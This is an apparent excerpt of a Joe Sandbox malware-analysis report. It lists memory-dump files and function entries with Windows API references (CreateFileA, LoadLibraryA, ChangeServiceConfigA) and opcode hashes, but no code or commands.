Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 35fd14f7f36d4a7215d1c4e79378d3f359089361a9aac9b2a776284b1ebed8cc
Instruction ID: 8a1bc930419f92980953ac753446c2d02a41d4837825ddee90e89acfe3bee0ec
Opcode Fuzzy Hash: 35fd14f7f36d4a7215d1c4e79378d3f359089361a9aac9b2a776284b1ebed8cc
Instruction Fuzzy Hash: D64139B7B482956EE611DA646E31FF97BACEBC2730F30482EF442CA443C2540E499673

Function 052415C4 Relevance: 1.8, APIs: 1, Instructions: 303
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 052418C8

Memory Dump Source

Source File: 00000003.00000002.2480582459.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5240000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 0f5794ec895e02c7b90211487d9b3b068a6219ea166dbd49b4788042b42bdf5f
Instruction ID: e9c55c1658aa55017d356d04c148e5f75eab9c28719c0613ad40dc68479b764f
Opcode Fuzzy Hash: 0f5794ec895e02c7b90211487d9b3b068a6219ea166dbd49b4788042b42bdf5f
Instruction Fuzzy Hash: E0C15E71D2065A9FDB18CFA8C9857AEBBF1FF49310F148125E859E7284D7748891CF81

Function 009C16AF Relevance: 1.7, APIs: 1, Instructions: 164
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 009C16AF

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c2563034a042e0a88d18d6590505e5ac0f19aa2563bc53b0d3b7e2c9233c099c
Instruction ID: 4db266b5e2b5aa363ea215cbcde5249fe715a66aa49ae96c372c579e57709cc0
Opcode Fuzzy Hash: c2563034a042e0a88d18d6590505e5ac0f19aa2563bc53b0d3b7e2c9233c099c
Instruction Fuzzy Hash: FE4172F650C200BFE301AA0ADD40BBAFBEEEBC9730F21882DF2C482615D67589455667

Function 009C18AA Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 009C18AA

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4ce59aea73c6b5bf5ec61100aab77ec4092487530151cb0796cb34323f57ab4a
Instruction ID: afe1340b0e2d6b085db097c50542a5165a4aa64caa9bd876af25da560996929a
Opcode Fuzzy Hash: 4ce59aea73c6b5bf5ec61100aab77ec4092487530151cb0796cb34323f57ab4a
Instruction Fuzzy Hash: FC413DB290C704EFE345BF29D84567AFBE4EF58720F16492DE6C4C2654EB3158808B57

Function 009C444C Relevance: 1.6, APIs: 1, Instructions: 115
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00000000,00000003), ref: 009C45AF

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3910ab2f3cf00448f785d348c74d60fd1b2dada311c872aed5491cfb93c9ef98
Instruction ID: 56d5c19e92ed937b9e69b28f05c4acfbdb1134965af2c266b2f7f44c3c419ed4
Opcode Fuzzy Hash: 3910ab2f3cf00448f785d348c74d60fd1b2dada311c872aed5491cfb93c9ef98
Instruction Fuzzy Hash: 453148B66482927FE6019E646D31FF57BACEB92330F31486EF442CB443D2540A559637

Function 009C4437 Relevance: 1.6, APIs: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00000000,00000003), ref: 009C45AF

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: be7abf5ef3ef34960fb4ac2402406856dd5f0f11e4374be8d01272c3f15dd356
Instruction ID: 322257e6545ed81d2ffc2eaaff1577d9ea135c8f90216463a9ac3eb6ea4bd2bd
Opcode Fuzzy Hash: be7abf5ef3ef34960fb4ac2402406856dd5f0f11e4374be8d01272c3f15dd356
Instruction Fuzzy Hash: 0A2136B7B08181BEE611DF656E70FF577ACE7C1730F30882EF4428A442D1640984A637

Function 009C4487 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
